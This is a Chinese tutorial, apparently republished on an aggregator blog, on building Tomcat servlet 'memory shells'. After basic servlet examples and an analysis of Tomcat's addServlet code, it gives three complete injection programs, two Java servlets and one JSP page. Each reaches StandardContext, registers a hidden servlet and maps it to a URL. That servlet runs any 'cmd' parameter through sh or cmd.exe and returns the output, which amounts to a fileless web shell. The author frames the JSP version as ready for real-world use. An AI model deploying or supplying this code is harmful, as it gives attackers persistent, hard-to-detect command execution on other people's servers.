servlet内存马学习

这篇具有很好参考价值的文章主要介绍了servlet内存马学习。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

项目配置
servlet内存马学习,JAVA,servlet,web安全,java
servlet内存马学习,JAVA,servlet,web安全,java
注意一定要添加
servlet内存马学习,JAVA,servlet,web安全,java
否则访问路径会404,tomcat并没有对项目生效

1.实现javax.servlet.Servlet接口的方式

Servlet.class:

package org.test;

import javax.servlet.*;
import java.io.IOException;

public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
        System.out.println("init");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

web.xml:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>demo1</servlet-name>
        <servlet-class>org.test.ServletTest</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>demo1</servlet-name>
        <url-pattern>/demo1</url-pattern>
    </servlet-mapping>
</web-app>

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servlet_ncm</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>8.5.43</version>
        </dependency>

    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>

效果:
启动后,访问url,可以看到成功输出init和service
servlet内存马学习,JAVA,servlet,web安全,java
停止后,可以看到输出destroy
servlet内存马学习,JAVA,servlet,web安全,java
注解的方式:

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/demo1")
public class ServletTest implements Servlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
        System.out.println("init");
    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {
        System.out.println("destroy");
    }
}

servlet内存马学习,JAVA,servlet,web安全,java

2.继承GenericServlet类创建Servlet

以下全是注解形式来看

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/demo2")
public class ServletTest extends GenericServlet{
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.println("service");
    }
}

servlet内存马学习,JAVA,servlet,web安全,java

3.继承了HttpServlet进行创建

package org.test;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/demo3")
public class ServletTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doGet...");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("doPost...");
        doGet(req,resp);
    }
}

servlet内存马学习,JAVA,servlet,web安全,java
其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装罢了。
servlet内存马学习,JAVA,servlet,web安全,java
由上图可知:
1.GenericServlet 是实现了 Servlet 接口的抽象类。
2.HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
3.Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
调试javax.servlet.Servlet接口的方法触发对应Servlet的service方法
查看其调用栈
servlet内存马学习,JAVA,servlet,web安全,java
可以看到红框中是其调用栈

分析内存马注入的地方
javax.servlet.ServletContext接口中声明了几个和Servlet创建相关的方法
首先找createServlet
servlet内存马学习,JAVA,servlet,web安全,java
然后看其实现处
org.apache.catalina.core.ApplicationContextFacade
servlet内存马学习,JAVA,servlet,web安全,java
然后我们来看看addServlet
servlet内存马学习,JAVA,servlet,web安全,java
可以看到有三个重载方法,返回均为ServletRegistration.Dynamic类型
他在Tomcat容器中的实现
servlet内存马学习,JAVA,servlet,web安全,java

private ServletRegistration.Dynamic addServlet(String servletName, String servletClass,
        Servlet servlet, Map<String,String> initParams) throws IllegalStateException {

    if (servletName == null || servletName.equals("")) {
        throw new IllegalArgumentException(sm.getString(
                "applicationContext.invalidServletName", servletName));
    }

    if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
        //TODO Spec breaking enhancement to ignore this restriction
        throw new IllegalStateException(
                sm.getString("applicationContext.addServlet.ise",
                        getContextPath()));
    }

    Wrapper wrapper = (Wrapper) context.findChild(servletName);

    // Assume a 'complete' ServletRegistration is one that has a class and
    // a name
    if (wrapper == null) {
        wrapper = context.createWrapper();
        wrapper.setName(servletName);
        context.addChild(wrapper);
    } else {
        if (wrapper.getName() != null &&
                wrapper.getServletClass() != null) {
            if (wrapper.isOverridable()) {
                wrapper.setOverridable(false);
            } else {
                return null;
            }
        }
    }

    ServletSecurity annotation = null;
    if (servlet == null) {
        wrapper.setServletClass(servletClass);
        Class<?> clazz = Introspection.loadClass(context, servletClass);
        if (clazz != null) {
            annotation = clazz.getAnnotation(ServletSecurity.class);
        }
    } else {
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServlet(servlet);
        if (context.wasCreatedDynamicServlet(servlet)) {
            annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
        }
    }

    if (initParams != null) {
        for (Map.Entry<String, String> initParam: initParams.entrySet()) {
            wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
        }
    }

    ServletRegistration.Dynamic registration =
            new ApplicationServletRegistration(wrapper, context);
    if (annotation != null) {
        registration.setServletSecurity(new ServletSecurityElement(annotation));
    }
    return registration;
}

来解读这一段代码
1.首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
2.之后将会在context中通过servletName查找对应的child并将其转化为Wrapper对象
3.如果没有找到,将会创建一个Wrapper对象,在添加进入servletName之后将wrapper添加进入context的child中去
4.如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
5.之后如果存在初始化参数的时候,将进行初始化操作
6.最后创建了一个ApplicationServletRegistration类,通过带入wrapper和context
也就是程序在运行过程中不能添加Servlet的限制,那么如何绕过呢?
servlet内存马学习,JAVA,servlet,web安全,java
进入ApplicationServletRegistration#addMapping方法
servlet内存马学习,JAVA,servlet,web安全,java
通过调用了StardContext#addServletMappingDecoded方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。
servlet内存马学习,JAVA,servlet,web安全,java
可以看到wrapper是findChild(name)获得的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了。
1.首先创建一个自定义的Servlet类
2.对Wrapper进行封装
3.再将封装之后的wrapper添加进入StandardContext类中的children中去
4.最后通过调用addServletMappingDecoded方法添加url映射

内存马编写:

package org.test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/test")
public class servlet_ncm extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //从req中获取ServletContext对象
        String name = "RoboTerh";
        ServletContext servletContext = req.getServletContext();
        if (servletContext.getServletRegistration(name) == null) {
            StandardContext o = null;

            // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
            while (o == null) {
                Field f = null;
                try {
                    f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);
                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                } catch (NoSuchFieldException e) {
                    throw new RuntimeException(e);
                } catch (IllegalAccessException e) {
                    throw new RuntimeException(e);
                }


            }


            //1.创建自定义servlet
            Servlet servlet = new Servlet() {

                @Override
                public void init(ServletConfig config) throws ServletException {

                }

                @Override
                public ServletConfig getServletConfig() {
                    return null;
                }

                @Override
                public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
                    String cmd = req.getParameter("cmd");
                    boolean islinux = true;
                    String osType = System.getProperty("os.name");
                    if (osType != null && osType.toLowerCase().contains("win")) {
                        islinux = false;
                    }
                    String[] cmds = islinux ? new String[]{"/bin/bash", "-c", cmd} : new String[]{"cmd.exe", "-c", cmd};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a"); //Scanner类,这是一个用于扫描输入文本的新的实用程序,useDelimiter( )方法,可以将分隔符号修改为"回车",或者其他字符。
                    String output = s.hasNext() ? s.next() : "";
                    PrintWriter out = res.getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }

                @Override
                public String getServletInfo() {
                    return null;
                }

                @Override
                public void destroy() {

                }
            };
            //2.对Wrapper进行封装
            Wrapper wrapper = o.createWrapper();
            wrapper.setName(name);
            wrapper.setLoadOnStartup(1);
            wrapper.setServlet(servlet);

            //3.将封装之后的wrapper添加进入StandardContext类中的children中去
            o.addChild(wrapper);

            //4.用addServletMappingDecoded方法添加url映射
            o.addServletMappingDecoded("/hhh",name);

            PrintWriter printWriter = resp.getWriter();
            printWriter.println("servlet added");

        }
    }
}

效果:
servlet内存马学习,JAVA,servlet,web安全,java

servlet内存马学习,JAVA,servlet,web安全,java
自己写的出点问题,用原作者的吧

package org.test;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/test2")
public class servlet_ncm2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String name = "RoboTerh";
            //从req中获取ServletContext对象
            ServletContext servletContext = req.getServletContext();
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof ServletContext) {
                        servletContext = (ServletContext) object;
                    } else if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new Servlet() {
                    @Override
                    public void init(ServletConfig servletConfig) throws ServletException {

                    }

                    @Override
                    public ServletConfig getServletConfig() {
                        return null;
                    }

                    @Override
                    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                        String cmd = servletRequest.getParameter("cmd");
                        boolean isLinux = true;
                        String osTyp = System.getProperty("os.name");
                        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                            isLinux = false;
                        }
                        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("\\a");
                        String output = s.hasNext() ? s.next() : "";
                        PrintWriter out = servletResponse.getWriter();
                        out.println(output);
                        out.flush();
                        out.close();
                    }

                    @Override
                    public String getServletInfo() {
                        return null;
                    }

                    @Override
                    public void destroy() {

                    }
                };

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/hhh2", name);

                PrintWriter printWriter = resp.getWriter();
                printWriter.println("servlet added");
            }
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

servlet内存马学习,JAVA,servlet,web安全,java
servlet内存马学习,JAVA,servlet,web安全,java
servlet内存马学习,JAVA,servlet,web安全,java
可以看到内存马成功执行

为了实战方便,写到jsp中,这里将获得StandardContext换了写法,更加方便

<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="sun.invoke.util.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%

  Servlet servlet = new Servlet() {
  @Override
  public void init(ServletConfig servletConfig) throws ServletException {

  }

  @Override
  public ServletConfig getServletConfig() {
    return null;
  }

  @Override
  public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
    String cmd = servletRequest.getParameter("cmd");
    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
      isLinux = false;
  }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    PrintWriter out = servletResponse.getWriter();
    out.println(output);
    out.flush();
    out.close();
  }

  @Override
  public String getServletInfo() {
  return null;
  }

  @Override
  public void destroy() {

  }
  };
%>
<%
  //用Wrapper封装servlet
  String name = "aaa";
  org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  StandardContext o = (StandardContext)webappClassLoaderBase.getResources().getContext();
  org.apache.catalina.Wrapper newWrapper = o.createWrapper();
  newWrapper.setName(name);
  newWrapper.setLoadOnStartup(1);
  newWrapper.setServlet(servlet);

  //向children中添加Wrapper
  o.addChild(newWrapper);
  //添加servlet的映射
  o.addServletMappingDecoded("/hhh3", name);

  %>

效果:
servlet内存马学习,JAVA,servlet,web安全,java
可以看到没有,那么先来加载jsp文件
servlet内存马学习,JAVA,servlet,web安全,java
再访问内存马
servlet内存马学习,JAVA,servlet,web安全,java
成功访问到内存马文章来源地址https://www.toymoban.com/news/detail-682988.html

到了这里,关于servlet内存马学习的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java内存马1-传统web内存马

    (1)Tomcat Tomcat是一个开源的、轻量级的、用于Java Servlet和JavaServer Pages(JSP)的Web应用程序服务器。它是Apache软件基金会的一个项目,也是最流行的Servlet容器之一,适用于开发和部署各种类型的Java Web应用程序。 Tomcat负责管理Servlet的生命周期,包括加载、初始化、调用和销毁。

    2024年03月22日
    浏览(38)
  • 【Java】小白友好的Servlet基础学习笔记

    后面比赛挺多,RW体验赛,西湖论剑,beginCTF,N1CTF,hgame,NSS新春赛,NSS Round17,SICTF,有观赏性大于操作性的,有萌新可以真正去打的。经过慎重考虑,决定java先暂放几天,再回过头去练练老题,也是换换脑子。 目录 Servlet 工作流程: 实现方式: 生命周期: Tomcat HttpServl

    2024年02月19日
    浏览(39)
  • 在Java Web项目中,添加Tomcat的Servlet-api.jar包(基于IDEA)

    我的IDEA版本:2022.2 最近在学Java Web,教材上讲的添加Tomcat的Servlet-api.jar不是很清晰,上网查了查,写下了该笔记 1. 首先,先在项目下建一个文件夹,名为libs 2. 然后,到你下载的Tomcat的文件夹下,找到其子文件夹【lib】,点击进入【lib】 3. 在【lib】中找到 servlet-api.jar ,选中

    2024年02月07日
    浏览(50)
  • 根据Java Web 使用Servlet +Mysql 实现简易的登录及注册功能以及项目间的分层

    1、概述         一个好的层次划分不仅可以能使代码结构更加清楚,还可以使项目分工更加明确,可读性大大提升,跟回家有利于后期的维护和升级。从另一个角度来看,好的代码分层架构,应该使可以很好的匹配上单一职责原则的。这样就可以降低层与层之间的依赖,

    2024年02月05日
    浏览(56)
  • java servlet 农机租赁网站系统Myeclipse开发mysql数据库web结构jsp编程计算机网页项目

    一、源码特点     java servlet  农机租赁网站系统是一套完善的java web信息管理系统,对理解JSP java编程开发语言有帮助 系统采用 serlvet+dao+bean 模式开发 ,系统具有完整的源代码和数 据库,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用

    2024年02月02日
    浏览(48)
  • java 宠物在线商城系统Myeclipse开发mysql数据库web结构jsp编程servlet计算机网页项目

    一、源码特点     java 宠物在线商城系统是一套完善的java web信息管理系统 servlet+dao+bean mvc模式,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S 模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用java语言开发。 java 宠物

    2024年02月20日
    浏览(42)
  • Java Web 项目入门指南(http、Servlet、Request、Response、ServletContext、会话技术[cookie、session]、Filter、Listener)

    web 服务器 :可以被浏览器访问到的服务器 常见的 web 服务器: tomcat:中小型的服务器软件,免费开源,支持 JSP 和 Servlet apache 公司的产品 WebLogic:Oracle 公司的产品,是目前应用最广泛的 Web 服务器,支持 J2EE 规范。WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用

    2024年02月02日
    浏览(78)
  • java 课程签到管理系统Myeclipse开发mysql数据库web结构jsp编程servlet计算机网页项目

    一、源码特点     java 课程签到管理系统是一套完善的java web信息管理系统 采用serlvet+dao+bean,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用java语言开发。 java 课程签

    2024年02月19日
    浏览(37)
  • servlet内存马学习

    项目配置 注意一定要添加 否则访问路径会404,tomcat并没有对项目生效 Servlet.class: web.xml: pom.xml: 效果: 启动后,访问url,可以看到成功输出init和service 停止后,可以看到输出destroy 注解的方式: 以下全是注解形式来看 其实看似使用三种创建Servlet的方式,但是实际上也是

    2024年02月10日
    浏览(34)
  • java web期末课程设计 学生成绩管理系统(mysql,jstl+el,Javabean)+增删改查,session域+servlet(基础易理解)

    学生成绩管理系统(源码地址在评论区需要的小伙伴可以看看,大二时做的,做得不太好) 为了更好的学习理解JavaWeb,创建了此系统。此系统可以帮助学习Java web基础,特别是javaweb入门,此系统使用大部分Java web基础知识。Java web课程设计联系了前端的HTML、CSS、JAVASCRIPT、JSP等

    2024年02月09日
    浏览(68)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包